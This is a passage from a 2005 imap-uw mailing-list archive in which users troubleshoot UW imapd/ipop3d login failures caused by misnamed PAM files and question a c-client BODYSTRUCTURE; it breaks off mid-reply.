(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 2 Nov 2005 14:55:24 -0800 Date: Wed, 2 Nov 2005 14:55:25 -0800 (Pacific Standard Time) From: Mark Crispin To: Richard Bonomo Subject: Re: [Imap-uw] Launchcd script for imap/pop? In-Reply-To: Message-ID: References: Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Wed, 2 Nov 2005, Richard Bonomo wrote: > Logins are still failing. > Unless I have a bright idea overnight, I will probably take > you up on your offer tomorrow. Quick thing for you to check. When you get the greeting banner from imapd, does LOGINDISABLED show up in the list of capabilities? That is, do you see something like: * OK [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS STARTTLS LOGINDISABLED] imap.example.com IMAP4rev1 2005.362 at Wed, 2 Nov 2005 14:53:26 -0800 (PST) If so, then you haven't successfully overcome the "no password authentication in non-SSL/TLS sessions" facility. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Nov 3 08:45:38 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 3 Nov 2005 08:45:38 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA3GjcsD008818 for ; Thu, 3 Nov 2005 08:45:38 -0800 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA3GjbmH008440 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 3 Nov 2005 08:45:37 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA3GjbPg016368; Thu, 3 Nov 2005 08:45:37 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA3Gjb4N032552; Thu, 3 Nov 2005 08:45:37 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA3Gjabo032539 for ; Thu, 3 Nov 2005 08:45:36 -0800 Received: from maddog.sal.wisc.edu (www.sal.wisc.edu [144.92.179.20]) by mxe2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA3GjUL2029331 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 3 Nov 2005 08:45:32 -0800 Received: from maddog.sal.wisc.edu (localhost.sal.wisc.edu [127.0.0.1]) by maddog.sal.wisc.edu (8.13.4/8.13.4) with ESMTP id jA3GjSM7000781; Thu, 3 Nov 2005 10:45:28 -0600 Received: from localhost (bonomo@localhost) by maddog.sal.wisc.edu (8.13.4/8.13.4/Submit) with ESMTP id jA3GjSEo000778; Thu, 3 Nov 2005 10:45:28 -0600 Date: Thu, 3 Nov 2005 10:45:28 -0600 (CST) From: Richard Bonomo To: Mark Crispin Subject: Re: [Imap-uw] Launchcd script for imap/pop? In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Virus-Scanned: ClamAV version 0.87, clamav-milter version 0.87 on localhost X-Virus-Status: Clean X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='IP_HTTP_ADDR 0, __C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __LINES_OF_YELLING 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Dear Mark, Here is what I get (anonymized a bit for the list): first, for imap: [:~] bonomo% grep imap /etc/services imap 143/udp # Internet Message Access Protocol imap 143/tcp # Internet Message Access Protocol imap3 220/udp # Interactive Mail Access Protocol v3 imap3 220/tcp # Interactive Mail Access Protocol v3 imap4-ssl 585/udp # IMAP4+SSL (use 993 instead) imap4-ssl 585/tcp # IMAP4+SSL (use 993 instead) imaps 993/udp # imap4 protocol over TLS/SSL imaps 993/tcp # imap4 protocol over TLS/SSL [:~] bonomo% telnet 143 Trying 144.92.179.82... Connected to . Escape character is '^]'. * OK [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS AUTH=LOGIN] IMAP4rev1 2004.357 at Thu, 3 Nov 2005 10:31:29 -0600 (CST) a01 login bonomo a01 BAD Missing or invalid argument to LOGIN a02 login bonomo a02 NO LOGIN failed a03 logout * BYE IMAP4rev1 server terminating connection a03 OK LOGOUT completed Connection closed by foreign host. then pop3: [:~] bonomo% grep pop /etc/services ########## 106 Unauthorized use by insecure poppassd protocol pop2 109/udp # Post Office Protocol - Version 2 pop2 109/tcp # Post Office Protocol - Version 2 pop3 110/udp # Post Office Protocol - Version 3 pop3 110/tcp # Post Office Protocol - Version 3 hybrid-pop 473/udp # hybrid-pop hybrid-pop 473/tcp # hybrid-pop pop3s 995/udp # pop3 protocol over TLS/SSL (was spop3) pop3s 995/tcp # pop3 protocol over TLS/SSL (was spop3) [:~] bonomo% telnet 110 Trying ... Connected to . Escape character is '^]'. +OK POP3 2004.89 server ready user bonomo +OK User name accepted, password please pass -ERR Bad login quit +OK Sayonara Connection closed by foreign host. [:~] bonomo% system.log shows: Nov 3 10:32:09 Richard-Bonomos-Computer imapd[28968]: Login failed user=bonomo auth=bonomo host= [] Nov 3 10:37:03 Richard-Bonomos-Computer ipop3d[28976]: Login failed user=bonomo auth=bonomo host= [] What do you make of it? Rich On Wed, 2 Nov 2005, Mark Crispin wrote: > On Wed, 2 Nov 2005, Richard Bonomo wrote: >> Logins are still failing. >> Unless I have a bright idea overnight, I will probably take >> you up on your offer tomorrow. > > Quick thing for you to check. When you get the greeting banner from imapd, > does LOGINDISABLED show up in the list of capabilities? That is, do you see > something like: > > * OK [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS STARTTLS > LOGINDISABLED] imap.example.com IMAP4rev1 2005.362 at Wed, 2 Nov 2005 > 14:53:26 -0800 (PST) > > If so, then you haven't successfully overcome the "no password authentication > in non-SSL/TLS sessions" facility. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. > -- ************************************************ Richard Bonomo UW Space Astronomy Laboratory ph: (608) 263-4683 telefacsimile: (608) 263-0361 SAL-related email: bonomo@sal.wisc.edu all other email: bonomo@ece.wisc.edu web page URL: http://www.cae.wisc.edu/~bonomo ************************************************ _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Nov 3 09:28:22 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 3 Nov 2005 09:28:22 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA3HSMQS011210 for ; Thu, 3 Nov 2005 09:28:22 -0800 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA3HSKHp014928 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 3 Nov 2005 09:28:21 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA3HSKYR022449; Thu, 3 Nov 2005 09:28:20 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA3HSK3X011356; Thu, 3 Nov 2005 09:28:20 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA3HSJsk011348 for ; Thu, 3 Nov 2005 09:28:19 -0800 Received: from maddog.sal.wisc.edu (www.sal.wisc.edu [144.92.179.20]) by mxe3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA3HSIt0019269 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 3 Nov 2005 09:28:18 -0800 Received: from maddog.sal.wisc.edu (localhost.sal.wisc.edu [127.0.0.1]) by maddog.sal.wisc.edu (8.13.4/8.13.4) with ESMTP id jA3HSGxp002450; Thu, 3 Nov 2005 11:28:16 -0600 Received: from localhost (bonomo@localhost) by maddog.sal.wisc.edu (8.13.4/8.13.4/Submit) with ESMTP id jA3HSGAi002447; Thu, 3 Nov 2005 11:28:16 -0600 Date: Thu, 3 Nov 2005 11:28:16 -0600 (CST) From: Richard Bonomo To: Mark Crispin Subject: Re: [Imap-uw] Launchcd script for imap/pop (more)? In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Virus-Scanned: ClamAV version 0.87, clamav-milter version 0.87 on localhost X-Virus-Status: Clean X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Dear Mark, I achieved a partial victory: I changed the name of the entry in /etc/pam.d from imapd to imap (to match the name of the service in /etc/services), and that got imap working. Making a parallel change for the pop3 server did not help. For some reason that service is still rejecting my password. Rich -- ************************************************ Richard Bonomo UW Space Astronomy Laboratory ph: (608) 263-4683 telefacsimile: (608) 263-0361 SAL-related email: bonomo@sal.wisc.edu all other email: bonomo@ece.wisc.edu web page URL: http://www.cae.wisc.edu/~bonomo ************************************************ _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Nov 3 10:02:17 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 3 Nov 2005 10:02:17 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA3I2HHN012938 for ; Thu, 3 Nov 2005 10:02:17 -0800 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA3I2Gtr016982 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 3 Nov 2005 10:02:16 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA3I2Glx026334; Thu, 3 Nov 2005 10:02:16 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA3I2GMW018713; Thu, 3 Nov 2005 10:02:16 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA3I2EE6018684 for ; Thu, 3 Nov 2005 10:02:14 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA3I2E5l009990 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 3 Nov 2005 10:02:14 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA3I2EAN025918 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 3 Nov 2005 10:02:14 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA3I2BOw029194 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 3 Nov 2005 10:02:13 -0800 Date: Thu, 3 Nov 2005 10:02:10 -0800 (PST) From: Mark Crispin To: Richard Bonomo Subject: Re: [Imap-uw] Launchcd script for imap/pop (more)? In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 3 Nov 2005, Richard Bonomo wrote: > I achieved a partial victory: I changed the name > of the entry in /etc/pam.d from imapd to imap > (to match the name of the service in /etc/services), > and that got imap working. Making a parallel > change for the pop3 server did not help. For some > reason that service is still rejecting my password. OK, the problem is your PAM configuration. Did you see in my original message about the proper names for the PAM files? To remind you, they should be /etc/pam.d/imap and /etc/pam.d/pop -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Nov 3 10:52:39 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 3 Nov 2005 10:52:39 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA3IqdxJ015491 for ; Thu, 3 Nov 2005 10:52:39 -0800 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA3IqcYL020115 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 3 Nov 2005 10:52:38 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA3Iqc7D030797; Thu, 3 Nov 2005 10:52:38 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA3IqcNh026865; Thu, 3 Nov 2005 10:52:38 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA3IqbH9026857 for ; Thu, 3 Nov 2005 10:52:37 -0800 Received: from maddog.sal.wisc.edu (www.sal.wisc.edu [144.92.179.20]) by mxe3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA3IqaYD028592 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 3 Nov 2005 10:52:37 -0800 Received: from maddog.sal.wisc.edu (localhost.sal.wisc.edu [127.0.0.1]) by maddog.sal.wisc.edu (8.13.4/8.13.4) with ESMTP id jA3IqZb6005616; Thu, 3 Nov 2005 12:52:35 -0600 Received: from localhost (bonomo@localhost) by maddog.sal.wisc.edu (8.13.4/8.13.4/Submit) with ESMTP id jA3IqZlH005612; Thu, 3 Nov 2005 12:52:35 -0600 Date: Thu, 3 Nov 2005 12:52:34 -0600 (CST) From: Richard Bonomo To: Mark Crispin Subject: Re: [Imap-uw] Launchcd script for imap/pop (more)? In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Virus-Scanned: ClamAV version 0.87, clamav-milter version 0.87 on localhost X-Virus-Status: Clean X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Indeed, you had made that note in your message of Oct. 29. Needless to say it fell out of my consciousness as I dealt with the other issues, but probably stimulated me in a subliminal fashion to examine it again before declaring defeat. Thank you for all your assistance! Rich On Thu, 3 Nov 2005, Mark Crispin wrote: > On Thu, 3 Nov 2005, Richard Bonomo wrote: >> I achieved a partial victory: I changed the name >> of the entry in /etc/pam.d from imapd to imap >> (to match the name of the service in /etc/services), >> and that got imap working. Making a parallel >> change for the pop3 server did not help. For some >> reason that service is still rejecting my password. > > OK, the problem is your PAM configuration. > > Did you see in my original message about the proper names for the PAM files? > To remind you, they should be /etc/pam.d/imap and /etc/pam.d/pop > > > -- Mark -- > > http://panda.com/mrc > Democracy is two wolves and a sheep deciding what to eat for lunch. > Liberty is a well-armed sheep contesting the vote. "A tyranny of the majority is still a tyranny." -- ************************************************ Richard Bonomo UW Space Astronomy Laboratory ph: (608) 263-4683 telefacsimile: (608) 263-0361 SAL-related email: bonomo@sal.wisc.edu all other email: bonomo@ece.wisc.edu web page URL: http://www.cae.wisc.edu/~bonomo ************************************************ _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Nov 3 19:44:05 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 3 Nov 2005 19:44:05 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA43i5Ue009865 for ; Thu, 3 Nov 2005 19:44:05 -0800 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA43i4qf019883 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 3 Nov 2005 19:44:05 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA43i4es015438; Thu, 3 Nov 2005 19:44:04 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA43i4so012028; Thu, 3 Nov 2005 19:44:04 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA43i3h5012020 for ; Thu, 3 Nov 2005 19:44:03 -0800 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxe5.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA43i2Ek017570 for ; Thu, 3 Nov 2005 19:44:03 -0800 Received: from localhost (localhost [127.0.0.1]) by mail.bynari.net (Postfix) with ESMTP id 55D763E8121 for ; Thu, 3 Nov 2005 21:43:33 -0600 (CST) Received: from mail.bynari.net ([127.0.0.1]) by localhost (mail.bynari.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 31701-05 for ; Thu, 3 Nov 2005 21:43:31 -0600 (CST) Received: by mail.bynari.net (Postfix, from userid 404) id 2CC513E8051; Thu, 3 Nov 2005 21:43:31 -0600 (CST) Received: from [192.168.1.5] (adsl-68-94-0-104.dsl.rcsntx.swbell.net [68.94.0.104]) by mail.bynari.net (Postfix) with ESMTP id E09E03E8121 for ; Thu, 3 Nov 2005 21:43:30 -0600 (CST) Message-ID: <436AD901.6070009@bynari.net> Date: Thu, 03 Nov 2005 21:44:01 -0600 From: Shawn Walker User-Agent: Thunderbird 1.4.1 (Windows/20051006) MIME-Version: 1.0 To: imap-uw@u.washington.edu References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: amavisd-new at bynari.net X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __LINES_OF_YELLING 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] What is the part number??? X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I have a message that seems "confused" from c-client. I have tried it with Pine 4.64 and it shows the message blank (empty). I have provided the detail information below. What we are doing is that we don't download the entire message. We fetch the body structure and then we retrieve the body of the message later using the part number. According to the body struture, the "TEXT" "PLAIN" is part 1 and "INLINE" is part 2. But, c-client is returning the data reversed (from what I can gather). How do I determine the correct part number when I need to get the message? I use mail_fetch_overview_sequence() to get the BODYSTRUCTURE: BODYSTRUCTURE (("TEXT" "PLAIN" ("CHARSET" "us-ascii") NIL NIL "7BIT" 0 0 NIL NIL NIL) "MIXED" ("BOUNDARY" "------------090003040805030408020409") ("INLINE" ("FILENAME" "[Fwd: Re: a message]")) NIL) BODY[HEADER.FIELDS (Newsgroups Content-Disposition Content-Language Content-Location X-Priority Received)] {3884} The actual raw email looks similar to this: Received: from [1.2.3.4] (example.net [1.2.3.4]) by example.net (Postfix) with ESMTP id 91C902A593 for ; Fri, 28 Oct 2005 19:39:43 +0200 (CEST) Message-ID: <43626EF7.1030705@example.net> Date: Fri, 28 Oct 2005 20:33:27 +0200 From: User Example User-Agent: Mozilla Thunderbird 1.0.6 (X11/20050715) X-Accept-Language: en-us, en MIME-Version: 1.0 To: someuser@example.net Subject: [Fwd: Re: a message] Content-Type: multipart/mixed; boundary="------------090003040805030408020409" This is a multi-part message in MIME format. --------------090003040805030408020409 Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit -- User Example --------------090003040805030408020409 Content-Type: message/rfc822; name="Re: a message" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="Re: a message" Return-Path: Received: from example.net ([unix socket]) by example (Cyrus v2.2.10) with LMTPA; Fri, 28 Oct 2005 17:57:13 +0200 X-Sieve: CMU Sieve 2.2 Reply-To: "Some User" Date: Fri, 28 Oct 2005 11:50:37 -0500 Content-Type: text/plain; charset=UTF-8; format=flowed MIME-Version: 1.0 From: Some User Subject: RE: a message To: Some User Message-Id: <20051028165037.E83DC3E80B4@example.net> A sample message --------------090003040805030408020409-- _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Nov 3 21:43:39 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 3 Nov 2005 21:43:39 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA45hde4014094 for ; Thu, 3 Nov 2005 21:43:39 -0800 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA45hcia025104 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 3 Nov 2005 21:43:38 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA45hcKa023593; Thu, 3 Nov 2005 21:43:38 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA45hcOR020521; Thu, 3 Nov 2005 21:43:38 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA45hb63020512 for ; Thu, 3 Nov 2005 21:43:37 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA45haAA029044 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 3 Nov 2005 21:43:37 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA45ha26013152 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 3 Nov 2005 21:43:36 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA45hXAK024621 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 3 Nov 2005 21:43:35 -0800 Date: Thu, 3 Nov 2005 21:43:32 -0800 (PST) From: Mark Crispin To: Shawn Walker Subject: Re: [Imap-uw] What is the part number??? In-Reply-To: <436AD901.6070009@bynari.net> Message-ID: References: <436AD901.6070009@bynari.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __LINES_OF_YELLING 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 3 Nov 2005, Shawn Walker wrote: > I have a message that seems "confused" from c-client. I have tried it with > Pine 4.64 and it shows the message blank (empty). Are you using an IMAP server? If so, what IMAP server implementation? > BODYSTRUCTURE (("TEXT" "PLAIN" ("CHARSET" "us-ascii") NIL NIL "7BIT" 0 0 > NIL NIL NIL) "MIXED" ("BOUNDARY" "------------090003040805030408020409") > ("INLINE" ("FILENAME" "[Fwd: Re: a message]")) NIL) That BODYSTRUCTURE is completely bogus. Here is the correct BODYSTRUCTURE for that message: BODYSTRUCTURE (("TEXT" "PLAIN" 